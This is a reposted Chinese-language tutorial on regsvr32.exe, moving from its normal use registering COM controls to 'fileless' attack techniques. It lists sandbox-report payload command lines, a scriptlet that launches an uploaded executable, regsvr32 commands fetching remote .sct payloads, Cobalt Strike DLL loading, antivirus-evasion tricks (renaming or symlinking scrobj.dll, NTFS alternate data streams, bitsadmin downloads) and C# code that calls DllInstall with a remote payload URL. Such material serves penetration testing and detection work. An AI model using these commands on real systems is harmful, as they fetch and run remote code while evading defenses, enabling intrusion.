Regsvr32 使用和無文件攻擊的一些示例


Regsvr32使用方法
 
      使用過activex的人都知道,activex不注冊是不能夠被系統識別和使用的,一般安裝程序都會自動地把它所使用的activex控件注冊,但如果你拿到的一個控件需要手動注冊怎么辦呢?如果修改注冊表那就太麻煩了,在windows的system文件夾下有一個regsvr32.exe的程序,它就是windows自帶的activex注冊和反注冊工具。它的用法為:

  “regsvr32 [/s] [/n] [/i(:cmdline)] dllname”。其中dllname為activex控件文件名,建議在安裝前拷貝到system文件夾下。

  參數有如下意義:

  /u——反注冊控件

  /s——不管注冊成功與否,均不顯示提示框

  /c——控制台輸出

  /i——跳過控件的選項進行安裝(與注冊不同)

  /n——不注冊控件,此選項必須與/i選項一起使用 

 
利用Regsvr32進行無文件攻擊的一些示例:
 
https://any.run/report/8fb2c48223952ffa157c8a0b9ab98e9f8b2924f7b8aa1faef94f3adc91eb8b61/e8ca24ff-3766-43fd-a7e6-9ac7254791a7
payload:
C:\Windows\system32\regsvr32.exe /s "C:\Users\admin\AppData\Local\Anzipaj\tnqss.vtj"
 
 
https://any.run/report/cd733ef7cf3631039694f5b72f980753cad96f1eda6c48e2fcfe63edb4c7d869/be4f34c2-7595-4284-bfca-e85c1a177419
payload:
C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll
 
 
https://any.run/report/6adf75ae4502208cb1d295a95bc3f7263b14a2568c0108554e7ea30cec2fa1c2/f1d9aabb-45b6-4221-8a50-e060633f23c9
payload:
C:\Windows\system32\regsvr32.exe /s "C:\Users\admin\AppData\Local\Lluanj\eroykvous.yas"
 
https://any.run/report/92bcccff665698781f065436366b7029220c8068e2524553d99ff7dde2b03597/6e9e1e95-d79e-4831-8b04-61e9186ee6b0 

payload:

C:\Windows\system32\regsvr32.exe /s "C:\Users\admin\AppData\Local\Strvtedpo\jiiuekutsoez.koi"

regsvr32 使用說明

0x00 regsvr32 簡介

在windows的system文件夾下有一個regsvr32.exe的程序,它就是windows自帶的activex注冊和反注冊工具。(activex不注冊是不能夠被系統識別和使用的,一般安裝程序都會自動地把它所使用的activex控件注冊)。Regsvr32命令用於注冊COM組件,是 Windows 系統提供的用來向系統注冊控件或者卸載控件的命令,以命令行方式運行

0x01 regsvr32存放路徑

WinXP及以上系統的regsvr32.exe在windows\system32文件夾下;
2000系統的regsvr32.exe在winnt\system32文件夾。

0x02 regsvr32 用法

 
"regsvr32 [/s] [/n] [/i(:cmdline)] dllname”。 其中dllname為activex控件文件名,建議在安裝前拷貝到system文件夾下。 參數有如下意義: /u——反注冊控件(卸載com組建) /s——不管注冊成功與否,均不顯示提示框(靜默模式,不彈框) /c——控制台輸出 /i——跳過控件的選項進行安裝(傳給DllInstall的參數內容,regsvr32 允許注冊過程中 dll 進行一些自定義的安裝過程,該過程在 DllInstall 中實現。) /n——不注冊控件,此選項必須與/i選項一起使用 Scrobj.dll:com服務器,全名Windows Script Component,DllInstall方法在這個組件中實現。 

eg

 
regsvr32 /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll
sct文件的調用在scrobj.dll中的install過程,可以理解為regsvr32 只不過是負責調用 dll 的一個工具,可能還會有寫入注冊表的功能。

0x03 regsvr32 命令執行案例

Regsvr32.exe直接調用dll程序

1、Cobalstrike 生成dll文件

2、Regsvr32.exe直接調用dll程序
c:\Windows\System32\regsvr32.exe artifact.dll

3、cs成功上線

通過 sct 遠程執行繞過防病毒

這里前提需要將 exe 文件上傳到目標主機 本文上傳到c:\test.exe
payload.sct文件內容如下:

 
<?XML version="1.0"?> <scriptlet> <registration progid="Pentest" classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd /k c:\\test.exe"); ]]> </script> </registration> </scriptlet> 

上面代碼可以上傳到Github等白名單域名 本文使用Cobalt Strike自帶的服務來搭建 順便介紹功能

打開>Web Drive-by>Host File

 
regsvr32 /u /n /s /i:http://192.168.130.130:80/payload.sct scrobj.dll

調用scrobj.dll 繞過方法

  • 改變 scrobj.dll 的名稱
 
copy c:\windows\system32\scrobj.dll NothingToSeeHere.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct NothingToSeeHere.dll
  • 為 scrobj.dll 創建符號鏈接
 
Mklink Dave_LovesThis.dll c:\windows\system32\scrobj.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Dave_LovesThis.dll
  • 利用 NTFS ADS 功能繞過
 
type c:\Windows\System32\scrobj.dll > Just_A_Normal_TextFile.txt:PlacingTheDLLHere Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Just_A_Normal_TextFile.txt:PlacingTheDLLHere 
  • 先將 sct 文件放到本地,然后執行
 
bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP%\test.txt && regsvr32.exe /s /u /i:%TEMP%\test.txt scrobj.dll
Regsvr32.exe /u /s /i:Regsvr32_calc.sct scrobj.dll

  • 直接調用scrobj.dll的DllInstall方法

其實可以不用regsvr32.exe,使用他的目的是因為他是 windows 自帶的,有微軟簽名,如果不考慮這個的情況下其實可以寫程序直接調用 scrobj.dll 的 DllInstall 方法實現代碼執行。C#代碼如下:

 
using System; using System.Reflection; using System.Runtime.InteropServices; using System.ComponentModel; namespace scrobj_call_csharp { static class NativeMethod { [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)] public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName); [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); } class Program { [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] private delegate Int32 DllInstall(Boolean bInstall, String pszCmdLine); static void Main(string[] args) { const string dllPath = "scrobj.dll"; IntPtr hDllScr = NativeMethod.LoadLibrary(dllPath); if (hDllScr == IntPtr.Zero) { var lasterror = Marshal.GetLastWin32Error(); var innerEx = new Win32Exception(lasterror); innerEx.Data.Add("LastWin32Error", lasterror); throw new Exception("Can't load Dll " + dllPath, innerEx); } IntPtr DllInstallProcAddr = NativeMethod.GetProcAddress(hDllScr, "DllInstall"); DllInstall fDllInstall = (DllInstall)Marshal.GetDelegateForFunctionPointer(DllInstallProcAddr, typeof(DllInstall)); fDllInstall(false, "http://192.168.50.129:80/payload.sct"); } } } 

成功調用scrobj.dll的DllInstall 方法實現代碼執行。


__EOF__



免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM